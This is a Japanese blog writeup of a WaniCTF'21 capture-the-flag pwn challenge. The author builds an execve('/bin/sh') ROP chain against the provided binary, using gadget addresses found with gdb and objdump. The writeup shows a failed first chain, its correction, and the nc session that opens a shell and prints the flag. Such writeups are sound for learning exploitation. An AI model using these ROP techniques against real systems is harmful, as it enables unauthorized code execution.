WaniCTF'21-spring pwn 05 rop machine hard Writeup


勉強のため, ROPgadget を使わずに解く。
1年前は,こういう問題は全く解けなかった。進歩がうれしい。

情報収集

配布ソースに syscall と "/bin/sh" があるので, execve("/bin/sh",NULL,NULL) を狙う。

syscallに飛ばす直前のレジスタ

レジスタ
RAX 0x3b (59 execve)
RDI "/bin/sh"のアドレス
RSI 0x0
RDX 0x0

の状態でretでsyscallに飛ばす

スタック設計図

| pop rax; ret       |
+--------------------+
| 0x3b               |
+--------------------+
| pop rdi; ret       |
+--------------------+
| "/bin/sh"          |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0                |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0                |
+--------------------+
| syscall; ret       | 

問題

05 rop machine hard
232pt Normal
nc rop-hard.pwn.wanictf.org 9005
ヒント
ROPgadgetコマンドの使い方を覚えましょう。
rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
ROPgadget
gccのセキュリティ保護
Partial RELocation ReadOnly (RELRO)
Stack Smash Protection (SSP)有効
No eXecute bit(NX)有効
Position Independent Executable (PIE)無効

ソースコード

pwn05.c
#include <malloc.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

char dummy[] = "dummy";
char binsh[] = "/bin/sh";

void init() {
  alarm(300);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}

void rop_pop_rdi() {
  __asm__(
      "pop %rdi\n\t"
      "ret\n\t");
}

void rop_pop_rdx() {
  __asm__(
      "pop %rdx\n\t"
      "ret\n\t");
}

void rop_pop_rax() {
  __asm__(
      "pop %rax\n\t"
      "ret\n\t");
}

void rop_syscall() {
  __asm__(
      "syscall\n\t"
      "ret\n\t");
}

void print_menu() {
  printf(
      "\n[menu]\n"
      "1. append hex value\n"
      "8. show menu (this one)\n"
      "9. show rop_arena\n"
      "0. execute rop\n");
}

u_int64_t get_uint64() {
  char buf[64];
  u_int64_t ret;
  ret = read(0, buf, 63);
  buf[ret] = 0;
  ret = strtoul(buf, NULL, 16);
  return ret;
}

u_int64_t menu() {
  u_int64_t ret;

  printf("> ");
  ret = get_uint64();
  return ret;
}

void show_arena(u_int64_t* rop_arena, int index) {
  int i;
  puts("     rop_arena");
  puts("+--------------------+");
  for (i = 0; i < index; i++) {
    printf("| 0x%016lx |", rop_arena[i]);

    if (i == 0) {
      printf("<- rop start");
    }

    printf("\n");
    puts("+--------------------+");
  }
}

void rop_machine() {
  u_int64_t rop_arena[128];
  u_int64_t* top = rop_arena;
  int index = 0;
  u_int64_t ret;

  print_menu();

  while (1) {
    int cmd = menu();
    switch (cmd) {
      case 1:
        printf("hex value?: ");
        ret = get_uint64();
        rop_arena[index] = ret;
        index++;
        printf("0x%016lx is appended\n", ret);
        break;
      case 8:
        print_menu();
        break;
      case 9:
        show_arena(rop_arena, index);
        break;
      case 0:
        show_arena(rop_arena, index);
        {
          register u_int64_t rsp asm("rsp");
          rsp = (u_int64_t)rop_arena;
          __asm__("ret");
          exit(0);
        }
      default:
        puts("bye beginner!!\n");
        exit(1);
        break;
    }
  }
}

int main() {
  init();
  rop_machine();
}

Solution

nc してみる

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop

各アドレス情報の収集
関数アドレスは gdb で

gdb-peda$ p &binsh
$1 = (<data variable, no debug info> *) 0x404078 <binsh>
gdb-peda$ p &rop_pop_rdi
$2 = (<text variable, no debug info> *) 0x401287 <rop_pop_rdi>
gdb-peda$ p &rop_pop_rdx
$3 = (<text variable, no debug info> *) 0x401294 <rop_pop_rdx>
gdb-peda$ p &rop_pop_rax
$4 = (<text variable, no debug info> *) 0x4012a1 <rop_pop_rax>
gdb-peda$ p &rop_syscall
$5 = (<text variable, no debug info> *) 0x4012ae <rop_syscall>

pop rsi; ret; が無いので,コード領域からマシン語とアセンブラを見て探す。
pop rsi; はマシン語で 5e
ret; はマシン語で c3

$ objdump -d -M intel ./pwn05 | less
401610:       41 5e                   pop    r14
401612:       41 5f                   pop    r15
401614:       c3                      ret

このパターンは前にも見たことがある。
401611 に飛ばすと
pop rsi; が実行され
pop r15; が実行された後,
ret;でスタックが示すアドレスに飛ぶ
つまり,pop r15;の分だけ,スタックを調整する必要がある。

スタック設計図

+------------------------+
| pop rax; ret           |   4012a1
+------------------------+
| 0x3b                   |   3b
+------------------------+
| pop rdi; ret           |   401287
+------------------------+
| "/bin/sh"              |   404078
+------------------------+
| pop rsi; pop r15 ; ret |   401611
+------------------------+
| 0x0                    |   0
+------------------------+
| 0x0                    |   0  <-- これが臨機応変に対応したところ(pop r15用)
+------------------------+
| pop rdx; ret           |   401294
+------------------------+
| 0x0                    |   0
+------------------------+
| syscall; ret           |   4012ae
+------------------------+

失敗した。
原因は?
objdumpで各アドレスを再確認すると

0000000000401287 <rop_pop_rdi>:
  401287:       f3 0f 1e fa             endbr64
  40128b:       55                      push   rbp
  40128c:       48 89 e5                mov    rbp,rsp
  40128f:       5f                      pop    rdi
  401290:       c3                      ret

関数の入り口ではダメよね。

情報収集やり直し

gdb-peda$ p &binsh
$1 = (<data variable, no debug info> *) 0x404078 <binsh>

$ objdump -d -M intel ./pwn05 | less

  40128f:       5f                      pop    rdi
  401290:       c3                      ret

  40129c:       5a                      pop    rdx
  40129d:       c3                      ret

  4012a9:       58                      pop    rax
  4012aa:       c3                      ret

00000000004012ae <rop_syscall>:
  4012ae:       f3 0f 1e fa             endbr64
  4012b2:       55                      push   rbp
  4012b3:       48 89 e5                mov    rbp,rsp
  4012b6:       0f 05                   syscall

pop rsi ; pop r15 ; ret ;
  401610:       41 5e                   pop    r14
  401612:       41 5f                   pop    r15
  401614:       c3                      ret

スタック設計図

+------------------------+
| pop rax; ret           |   4012a9
+------------------------+
| 0x3b                   |   3b
+------------------------+
| pop rdi; ret           |   40128f
+------------------------+
| "/bin/sh"              |   404078
+------------------------+
| pop rsi; pop r15 ; ret |   401611
+------------------------+
| 0x0                    |   0
+------------------------+
| 0x0                    |   0  <-- これが臨機応変に対応したところ(pop r15用)
+------------------------+
| pop rdx; ret           |   40129c
+------------------------+
| 0x0                    |   0
+------------------------+
| syscall; ret           |   4012b6
+------------------------+

実行に移す

$ nc rop-hard.pwn.wanictf.org 9005

[menu]
1. append hex value
8. show menu (this one)
9. show rop_arena
0. execute rop
> 1
hex value?: 4012a9
0x00000000004012a9 is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 1
hex value?: 40128f
0x000000000040128f is appended
> 1
hex value?: 404078
0x0000000000404078 is appended
> 1
hex value?: 401611
0x0000000000401611 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 40129c
0x000000000040129c is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 1
hex value?: 4012b6
0x00000000004012b6 is appended
> 9
     rop_arena
+--------------------+
| 0x00000000004012a9 |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x000000000040128f |
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
> 0
     rop_arena
+--------------------+
| 0x00000000004012a9 |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x000000000040128f |
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

ビンゴ!
 
 
 
参考になったサイト

作問者writeup